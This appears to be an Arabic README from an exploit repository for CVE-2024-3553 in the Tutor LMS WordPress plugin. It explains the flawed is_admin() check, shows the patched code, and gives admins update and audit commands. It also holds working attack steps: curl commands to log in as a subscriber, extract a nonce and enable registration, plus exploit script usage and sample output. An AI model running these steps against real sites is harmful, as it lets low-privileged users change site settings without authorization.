
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
إضافة Tutor LMS – حل التعلم الإلكتروني والدورات عبر الإنترنت لووردبريس عرضة لتعديل غير مصرح به للبيانات بسبب نقص فحص الصلاحية في دالة hide_notices() في جميع الإصدارات حتى 2.6.2. وهذا يجعل من الممكن للمهاجمين المصادق عليهم (بما في ذلك المستخدمين ذوي الامتيازات المنخفضة مثل المشتركين) تمكين تسجيل المستخدمين في المواقع التي قد يكون المسؤولون قد عطلوها.
يتوفر استغلال كامل بلغة بايثون: exploit-cve-2024-3553-v2.py
# استغلال آلي كامل
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# التحقق من حالة التسجيل فقط
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
المتطلبات الأساسية:
الخطوة 1: تسجيل الدخول كمستخدم ذو امتيازات منخفضة
# تسجيل الدخول كمشترك أو أي مستخدم مصادق عليه
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
الخطوة 2: استخراج التوكن (nonce) من منطقة الإدارة
# يمكن لأي مستخدم مصادق عليه الوصول إلى /wp-admin/ (حتى المشتركين)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
الخطوة 3: تنفيذ الاستغلال
# إرسال طلب لتمكين تسجيل المستخدمين
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
الخطوة 4: التحقق من النجاح
# التحقق مما إذا كان التسجيل مفعلاً الآن
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "التسجيل مُفعَّل" || echo "التسجيل مُعطَّل"
# كمستخدم مصادق عليه، قم بزيارة:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
الهدف: https://target.com
======================================================================
[*] التحقق من حالة التسجيل الحالية...
[+] التسجيل مُعطَّل حالياً
[*] محاولة تسجيل الدخول باسم: subscriber
[+] تم تسجيل الدخول بنجاح باسم: subscriber
[*] الخطوة 2: استخراج التوكن من منطقة الإدارة...
[+] تم العثور على التوكن: abc123def456
[*] الخطوة 3: تنفيذ الاستغلال لتمكين تسجيل المستخدمين...
[*] الهدف: https://target.com
[*] باستخدام التوكن: abc123def456
[*] رابط الاستغلال: https://target.com/wp-admin/index.php
[*] المعاملات: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] حالة الاستجابة: 200
[+] تم إرسال طلب الاستغلال بنجاح!
[*] الخطوة 4: التحقق من نجاح الاستغلال...
[+] التسجيل مُفعَّل حالياً
======================================================================
[!] تم الاستغلال بنجاح!
[!] تم تمكين تسجيل المستخدمين الآن
[!]
[!] الأثر: تمكن مهاجم بحساب ذي امتيازات منخفضة (مشترك)
[!] من تمكين تسجيل المستخدمين في موقع كان التسجيل فيه معطَّلاً.
[!] قد يسمح ذلك بإنشاء حسابات إضافية،
[!] مما قد يؤدي إلى البريد العشوائي أو الوصول غير المصرح به.
======================================================================
الملف: /classes/User.php (الأسطر ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// NO CAPABILITY CHECK - Any authenticated user can execute this!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
نقاط الضعف الرئيسية:
is_admin() تتحقق فقط من أن الطلب موجه إلى صفحة إدارة، وليس من أن المستخدم هو مسؤول/wp-admin/ (حتى المشتركين)current_user_can('manage_options')users_can_registerالملف: /classes/User.php (الإصدار المصحح)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// SECURITY FIX: Added capability check
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Now properly protected
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
يضيف التصحيح current_user_can('manage_options') للتحقق من أن المستخدم لديه صلاحيات المسؤول قبل السماح بتحديث الخيار.
توضح هذه الثغرة سوء فهم جوهري لوظائف التفويض في ووردبريس:
خاطئ ❌:
if ( is_admin() ) {
// ظناً أن هذا يعني "المستخدم مسؤول"
update_option( 'sensitive_option', $value );
}
صحيح ✅:
if ( current_user_can( 'manage_options' ) ) {
// يتحقق بالفعل مما إذا كان المستخدم لديه صلاحيات المسؤول
update_option( 'sensitive_option', $value );
}
يتطلب أمان ووردبريس السليم طبقات متعددة:
فقدان أي من هذه الطبقات يمكن أن يؤدي إلى ثغرات.
لمسؤولي المواقع:
قم بتحديث إضافة Tutor LMS إلى الإصدار 2.7.0 أو أحدث فوراً:
# عبر WP-CLI
wp plugin update tutor --version=2.7.0
# عبر لوحة إدارة ووردبريس
لوحة التحكم → الإضافات → ابحث عن "Tutor LMS" → انقر "تحديث الآن"
تدقيق التغييرات الأخيرة:
# تحقق مما إذا تم تعديل إعداد التسجيل مؤخراً
wp option get users_can_register
# مراجعة عمليات تسجيل المستخدمين الأخيرة
wp user list --orderby=registered --order=DESC --number=20
is_admin() وحدها للتفويضcurrent_user_can() لفحوصات الصلاحيةعند تدقيق إضافات ووردبريس بحثاً عن مشكلات التفويض:
# 1. ابحث عن is_admin() بدون فحص صلاحية
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. ابحث عن تحديثات خيارات مباشرة
grep -r "update_option\|add_option" .
# 3. ابحث عن معالجات AJAX بدون فحص صلاحية
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - هذا الملفexploit-cve-2024-3553.py - استغلال أساسي بلغة بايثونexploit-cve-2024-3553-v2.py - استغلال محسّن بلغة بايثون مع توثيق مفصلmanual-exploit-cve-2024-3553.sh - نص استغلال يدويtest-cve-2024-3553-direct.sh - نص اختبار مباشر للتحققاكتُشفت: 2024-04-15 أُفصح عنها: 2024-05-20 صُححت: 2024-05-21 (الإصدار 2.7.0) تاريخ الاختبار: 2025-12-26 التصنيف: تحقق ناجح من الثغرة
| الدالة |
|---|
| ما تتحقق منه فعلياً |
|---|
| الاستخدام الأمني |
|---|
is_admin() | ما إذا كان عنوان URL الحالي داخل /wp-admin/ | ❌ ليس للتفويض |
current_user_can() | ما إذا كان المستخدم لديه صلاحية محددة | ✅ تفويض صحيح |
wp_verify_nonce() | ما إذا كان الطلب مقصوداً (حماية CSRF) | ✅ لكنه غير كافٍ وحده |